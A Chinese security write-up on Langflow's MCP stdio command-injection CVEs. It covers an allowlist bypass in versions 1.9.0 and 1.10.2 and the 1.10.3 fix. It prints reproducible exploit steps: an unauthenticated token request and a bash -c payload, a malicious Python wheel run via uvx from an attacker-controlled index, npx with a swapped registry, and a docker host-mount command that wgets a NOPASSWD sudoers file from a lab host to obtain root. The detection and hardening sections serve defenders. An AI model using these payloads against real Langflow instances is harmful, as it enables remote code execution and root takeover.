命令跑出了白名单:Langflow MCP stdio 任意命令执行补丁绕过与 root 提权实战

太长不看

  • Langflow 的 MCP stdio 配置里,命令字段由用户提供,执行发生在服务器端。默认配置LANGFLOW_AUTO_LOGIN=true时,GET /api/v1/auto_login不校验凭据就把 token 发出来,匿名者注册一个「服务器」,拉一次列表,命令就在主机上跑起来了。两个 CVE(CVSS 9.9)合计影响 langflow < 1.10.3;公开蜜罐已经记到 1,423 次利用尝试。

  • 官方在 1.9.0 加的白名单只挡「裸命令」写法。我们在 1.9.0 与 1.10.2 上用纯 REST 路径实测:uvx 换包源、docker 挂载宿主,全部通过校验并执行成功;借docker run -v /:/m组合把lx ALL=(ALL) NOPASSWD: ALL写进/etc/sudoers.d/,sudo -n id拿到 uid=0(root)。

  • 1.10.3 的共享策略(security.py + source_policy.py)把这些原语全部拦下。另有一处出入:公告把「移除 bash -c 包装」记在 1.10.3,解包实测 lfx 1.10.2 已是 shell=False 直执行,对应提交是 #13900。

0. 漏洞信息

项目

内容

编号

CVE-2026-105740(GHSA-7w94-79vh-5mr2);CVE-2026-105697(GHSA-w794-rj3p-xv45)

组件

Langflow(PyPI 包langflow/langflow-base/lfx)

类型

OS 命令注入(CWE-78)

影响版本

langflow >= 1.1.2, < 1.10.3;langflow-base >= 0.1.2, < 0.10.3;lfx < 1.10.3

修复版本

1.9.0(REST 白名单,#12290)、1.10.3(共享策略 + spawn 前收口,#14036)

CVSS

9.9(AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

利用条件

能访问 MCP 服务器配置接口;默认 AUTO_LOGIN 下无需账号

公开日期

2026-10-05 / 2026-10-07

1. 事件与影响面

Langflow 是常见的开源 AI 编排平台,它的 MCP 支持两种传输:HTTP/SSE 和 stdio。stdio 的含义是「由 Langflow 在本机把这个 MCP 服务器当子进程拉起来」,配置界面(以及背后的POST /api/v2/mcp/servers/{name}接口)允许使用者填写 command、args、env 三个字段。问题就出在这三个字段上:它们是用户输入,而执行点在服务器进程里。

第一个 CVE(105740)描述的是原始形态:命令字段不做任何校验,直接进入bash -c "exec {command}",顺带 env 字段也不设防,LD_PRELOAD、PATH这类变量可以照写。1.9.0 在 REST 层加了白名单。第二个 CVE(105697)随后公开,讲的是「修得不完整」:1.9.0 到 1.10.2 期间,不过 REST 模型的配置(比如 flow 组件里内嵌的、tweak 传入的)仍能直通执行点,直到 1.10.3 把策略挪进共享层并在 spawn 前再拦一道。

真实世界的动静不小。The Hacker News 10 月 15 日的报道引述 Previdian 的蜜罐数据:自 9 月 19 日起记录到 1,423 次利用尝试,来自 27 个 IP、15 个国家;10 月 11 日单日 333 次。抓到的载荷包括向外部地址外带LANGFLOW_SECRET_KEY与超管口令、用 docker 命令读宿主/etc/passwd,以及 id、whoami 这类执行确认。报道里还提到一个认证细节:蜜罐把 auto_login 关掉之后,攻击者转向弱口令加常规账号,说明这个洞的受众面覆盖「匿名」和「有账号」两档。

数据流从入口到执行一共三段,画出来是这样:

需要点出触发环节的语义:命令的触发点在「读取服务器列表」这一侧,保存配置本身不执行任何东西。前端页面每次进入 MCP 设置、以及GET /api/v2/mcp/servers?action_count=true这类请求,都会让 Langflow 逐一连接已配置的服务器;连接的第一步就是把进程拉起来。子进程启动后,MCP 握手成不成功已经无关紧要,界面报个Connection closed,命令照样跑完。配置本身存在项目设置里(_mcp_servers_<flow_id>.json),等于一次投放长期有效,每次拉列表都会再执行一遍。

2. 原理:从写入点到执行点

2.1 零校验时代(≤ 0.8.x)

对应 langflow-base 0.8.4(归属 1.8.3 发布列车)的这一代,REST 模型是这样的:

class MCPServerConfig(BaseModel):
    """Pydantic model for MCP server configuration."""

    command: str | None = None
    args: list[str] | None = None
    env: dict[str, str] | None = None
    headers: dict[str, str] | None = None
    url: str | None = None

    class Config:
        extra = "allow"  # Allow additional fields for flexibility

字段声明完就结束了,没有任何 validator。执行点一侧,lfx 0.3.4 把命令字符串拼进 shell:

server_params = StdioServerParameters(
    command="bash",
    args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"],
    env=env_data,
)

command_str来自用户填的 command 加 args,shlex.split之后按空格拼回字符串,再交给bash -c。写入端不设防、执行端包着 shell,两端叠加就是教科书式的命令注入;env字段同样原样传递,LD_PRELOAD这类加载器相关的变量一起带上。

第三段是 0.4.6(1.9.0 搭配的 lfx)里的 todo 注释,#12290 的修复加进执行点时选择了写欠条而不是动手:.. todo:: Remove the ``bash -c`` / ``cmd /c`` shell wrapper。这段注释后来在 1.10.2 的代码里被兑现(详见第 4 章)。

2.2 四道补丁的分工

把上游动作按时间排开:3 月 27 日 #12290 给 REST 模型补上白名单校验器(schemas.py +326 行,执行点只加了一段 todo);6 月 29 日 #13874 给执行点补环境变量黑名单,#13900 把bash -c换成 shell=False 直执行;7 月 14 日 #14036 把整套策略抽到lfx/base/mcp/security.py,并在 REST、flow 内嵌、tweak、spawn 前四层调用。对应的发布节奏是:1.9.0(4 月 14 日)、1.10.2(7 月 7 日)、1.10.3(7 月 23 日)。

本文的实验围绕 1.9.0 与 1.10.2 展开,原因在第 3 章揭晓:这两个版本的白名单拦得住裸命令,却拦不住「白名单内命令的恶意用法」。

3. 实战复现

3.1 实验环境

实验在一台 Ubuntu 24.04 虚拟机上完成,依次切换四套版本:langflow-base 0.8.4 + lfx 0.3.4、0.9.0 + 0.4.6、0.10.2 + 1.10.2、0.10.3 + 1.10.3。服务器按默认配置启动(LANGFLOW_AUTO_LOGIN=true,监听 0.0.0.0:7860)。攻击者一侧用 Windows 主机(局域网 192.168.89.1)扮演供应链:8088 端口上挂着 PEP503 简单索引、恶意轮子、npm registry 与 sudoers 载荷。

3.2 1.8.4:无凭据三步 RCE

第一段复现走公告给的最小路径,三步:

  1. GET /api/v1/auto_login,不携带任何凭据,拿到 token;

  2. POST /api/v2/mcp/servers/rce_proof,body 里的 command 写bash,args 写["-c","id > /tmp/lf_pwn_rest.txt; hostname >> /tmp/lf_pwn_rest.txt"],服务端原样入库,HTTP 200;

  3. GET /api/v2/mcp/servers?action_count=true,拉列表触发连接。

响应体里rce_proof报Connection closed,同一步里,标记文件已经落地:

整个过程没有账号、没有口令。这一点与两个公告的表述放在一起看更有意思:公告按「任意已认证用户」定级(所以 CVSS 里是 PR:L),而默认配置的实际门槛是零。

3.3 1.9.0:白名单绕过

1.9.0 的白名单校验器由六块组成:命令白名单(9 项)、shell 包装器限制(bash -c只能包白名单内命令)、参数危险字符(;|&$反引号<>()与换行)、参数危险关键字(-c-e-y--yesinstallpip等)、环境变量黑名单(LD_PRELOAD、NODE_OPTIONS、PYTHONPATH、BASH_ENV等)、docker 参数校验(--privileged、--network等)。

这六层拦住了什么、没拦住什么,用一组投放数据来说话。13 个载荷逐条 POST,结果五拒七收:

  • 拒绝的是:m01touch(命令不在白名单)、m02python3 -c(参数含())、m03bash -c id(包装目标不在白名单)、m06node --eval(参数含括号)、m07bash -c "id;hostname"(分号);

  • 放行的是:m04bash -c "npx -v"、m05sh -c "uvx --version"(包装目标合法)、m08uvx evilpkg加UV_INDEX_URL环境变量、m09uvx --from http://…/evilpkg-0.0.1-py3-none-any.whl evilbin、m10docker run --rm -v /:/m alpine touch /m/tmp/mx_docker、m11npx evilpkg加npm_config_registry、m12python3 /tmp/evil.py。

放行列表里藏着一个结构性问题:白名单的粒度是「命令名」,而 uvx、docker、npx 这些被放行的工具,本身就具备「从外部取内容并执行」或「直接操作宿主」的能力。它们出现在白名单里,是因为 starter project 依赖它们拉起正常的 MCP 服务器;同一个名字,换个参数或环境变量,身份就从「工具」变成「原语」。

3.3.1 uvx:包源即执行权

uvx evilpkg这条配置的字面含义是「运行 evilpkg 这个工具」。包从哪来?默认是 PyPI,但UV_INDEX_URL这个环境变量可以把解析源换成任意地址。实验里攻击者主机上放了一个手搓的轮到文件:

def main():
    os.system("id > /tmp/lf_pwn_uvx.txt")
    os.system("hostname >> /tmp/lf_pwn_uvx.txt")
    os.system("echo '-- module executed by uvx --' >> /tmp/lf_pwn_uvx.txt")

配上 PEP503 索引,uvx 会在解析依赖后执行包内声明的入口脚本,标记文件即由入口函数写出。第二条路径无需环境变量:uvx --from <轮子 URL> evilbin直接指定包文件,--from参数在 1.9.0 完全不受限。

3.3.2 docker:挂载宿主到 root

docker run --rm -v /:/m alpine touch /m/tmp/mx_docker通过了 1.9.0 的 docker 参数校验(它只盯--privileged、--network这类字眼),-v /:/m把宿主根文件系统挂进容器,容器默认以 root 运行,写到/m/tmp/...就是写到宿主的/tmp/...。把 touch 换成 wget,目标改成/m/etc/sudoers.d/lx,一条提权链就齐了:

docker run --rm -v /:/m --network host alpine \
  wget -O /m/etc/sudoers.d/lx http://192.168.89.1:8088/sudoers_lx

写入的文件内容是lx ALL=(ALL) NOPASSWD: ALL(27 字节,root:root 权限,语法有效),--network host让容器直达攻击者主机取载荷。

sudo -n id回显uid=0(root)的那一刻,两个 CVE 的 CVSS 评分(S:C)就有了具体注脚:执行点位于 Langflow 进程(lx 用户),但这个用户同时也在 docker 组里,容器路径把作用域直接抬到宿主 root。

3.4 1.10.2:同型复现

1.10.2 是个有意思的版本。它的执行点已经「现代化」了:解包 lfx 1.10.2 的util.py,1653 行的 docstring 写着launched without a shell (shell=False semantics),bash -c不见了,shlex.split后直接交给StdioServerParameters;环境变量在 110 行的_validate_mcp_stdio_env处过一遍黑名单。

但 REST 层的白名单与 1.9.0 逐字相同,而 sink 的黑名单里没有包管理器相关的变量。三个供应链原语重新投放,全部 HTTP 200;触发后,三个子进程各自的标记文件齐齐落地:

做这组复现时,uvx 与 npx 各有一个行为细节可以记一笔:uvx 要求包提供与包名同名的入口(否则报「not provided」,需要--from <包> <入口>的写法),npx 首次下载若在触发窗口内超时,子进程会被提前掐断;把缓存预热后再触发,两者都稳定复现。这些细节影响的是投递姿势,不影响结论:执行权落回攻击者一侧,标记文件由 Langflow spawn 的子进程写出。

4. 深度:三层修复与一处出入

4.1 全版本矩阵

把 14 个载荷在三个版本上跑全,结果摆在一起:

两个读数:其一,1.9.0 与 1.10.2 的结果逐条相同,说明 #13874 与 #13900 处理的是执行点的工程债(去 shell、补 env 黑名单),没有触碰白名单的语义,供应链原语在两个版本上一路畅通;其二,实际的收口发生在 1.10.3,五个执行类载荷(m08、m09、m10、m11、m13)全部在写入时被拒。

4.2 公告与代码的出入

GHSA-w794-rj3p-xv45 的版本表把两件事都记在 1.10.3(#14036)名下:「applied the same policy at the execution sink」与「removed the bash -c wrapper」。前半句准确,后半句的时间点有出入。解包核对的结果:

  • lfx 1.10.0 / 1.10.1:bash -c仍在,todo 注释也仍在;

  • lfx 1.10.2:bash -c已移除,docstring 明确 shell=False;环境变量黑名单同时在位。对应提交是 6 月 29 日的 #13900(«launch stdio servers with shell=False»)与 #13874,两者随 1.10.2 于 7 月 7 日发布;

  • lfx 1.10.3:在既有基础上增加validate_mcp_stdio_config前置调用,策略下沉到共享层。

这个出入对防守有一层实际含义:按公告的表述推演,1.10.2 的执行点「还在用 bash -c」,容易误以为升级到 1.10.2 只是少了一半风险;实际情况是执行点在这一版已经完成结构化的改造,没跟上的只有写入端白名单的粒度。两个版本该看的都是「剩余的攻击面」,而不是「shell 还在不在」。

4.3 1.10.3 的加固结构

1.10.3 的修复做了两件当时的补丁没做的事。第一件是把策略抽成共享函数:lfx/base/mcp/security.py的validate_mcp_stdio_config(272 行)配source_policy.py(550 行),REST 写入、flow 内嵌配置、tweak 参数、spawn 前四个入口调用同一份逻辑,「不过 REST 校验」的那条路被补上。第二件是把「参数的含义」写进策略:uvx 的--index-url、--fromURL、本地轮子等改源写法,-v、-p、--privileged、--net这类 docker 参数,npm_config_、pip_、uv_前缀的环境变量,全部进入拒绝清单;shell 包装器保留,但递归深度受限、禁止自嵌套、包装目标必须落在白名单内。

4.4 1.10.3 拦截实测

同一批载荷在 1.10.3 上逐条重放,五个执行类全部返回 HTTP 422,报错信息直接点出被拒的元素:

  • m08:Environment variable 'UV_INDEX_URL' is not allowed for security reasons(环境变量策略);

  • m09:Argument 'http://…/evilpkg-0.0.1-py3-none-any.whl' is not allowed for MCP stdio command 'uvx'(source_policy 的 uvx 参数策略);

  • m10 与 m13:Argument '-v' is not allowed for MCP stdio command 'docker'(docker 参数策略);

  • m11:Environment variable 'npm_config_registry' is not allowed for security reasons(包管理器前缀策略)。

触发环节的对照也放上了:存储里只剩被 1.10.3 放行的配置,恶意配置一条都进不来;合法用例没有误伤,uvx mcp-server-fetch正常加载出 1 个工具。

5. 残留面、修复与自查

升级目标明确:langflow >= 1.10.3、langflow-base >= 0.10.3,以及容易被忽略的lfx >= 1.10.3(策略住在 lfx 里,这个包单独固定在较早版本,写入端的拦截就无从谈起)。自查一条pip show langflow-base lfx,再对照版本区间。

1.10.3 之后仍有需要操作者自己收的口子。官方在公告的 Hardening 一节写明:npx 与 uvx 默认仍可运行任意 PyPI / npm 包(这是 MCP 服务器的常规分发方式),多租户部署建议开启LANGFLOW_MCP_SERVER_ALLOWED_PACKAGES收窄到确需的包,并打开LANGFLOW_MCP_SERVER_INTERPRETER_HARDENING与LANGFLOW_MCP_SERVER_DOCKER_HARDENING;AUTO_LOGIN关掉、不要把实例直接暴露到不可信网络。1.11.1 起,限制自定义组件的那组开关也会顺带限制 MCP stdio 的可用人群。

检测侧有三个可落地的观察点:服务日志里成批出现的Creating new session stdio_…是 MCP 子进程启动的指纹,来源不明的批量 spawn 可以看一眼;项目设置里的_mcp_servers_*.json适合做配置审计,重点字段是 command、args、env(出现 uvx / docker / python3 脚本路径都该有人认领);出站网络层面,服务器进程去非默认索引、非默认 registry 拉包的行为,是这个漏洞家族利用阶段的共性特征。界面里报Connection closed的那些 MCP 服务器,同样应抽查,原因在 3.1 节说过:握手失败不影响命令已经执行。

6. 小结

三句话收尾。这个洞的形状是「用户输入直达进程启动」「存储持久、拉列表即重放」;1.9.0 的白名单修掉了写法层面的注入,却把 uvx、docker 这类执行原语留在了允许清单里,纯 REST 路径就足以绕过并提权到 root;1.10.3 把策略挪进共享层、封掉包源与挂载参数之后,这件事才算收口,判断暴露面看的是「版本落在 1.10.3 之前 + 能碰到 MCP 配置入口」这两个条件的交集。

附录:复现仓库与环境

实验代码与原始记录整理在文章项目里:

lab/
  test_matrix.py            14 载荷矩阵测试器(POST 投放 + action_count 触发)
  make_evil_wheel.py        恶意轮子 + PEP503 索引构造(1.9.0 批次)
  make_evil_v2.py           独立标记轮子(0.0.2/0.0.3)+ npm 包与 registry 元数据(1.10.2 批次)
  vm_sink_compare.py        跨版本校验/执行链代码抽取(解包 wheel 逐行比对)
  vm_sink_1010.py           shell=False 落地版本定位
  vm_capture_lines.py       配图用真实行号采集
  evilindex/                PEP503 索引 + 轮子 + npm registry + sudoers 载荷
  evidence/                 全部证据文件(矩阵、触发记录、提权快照、公告原文)
images/                     15 张配图与生成脚本(图片清单见 images/图片清单.md)

实验使用的一切地址、凭据、实例标识均为隔离实验环境的虚构数据;文中描述的行为只在自有环境内验证,请勿对未授权系统使用。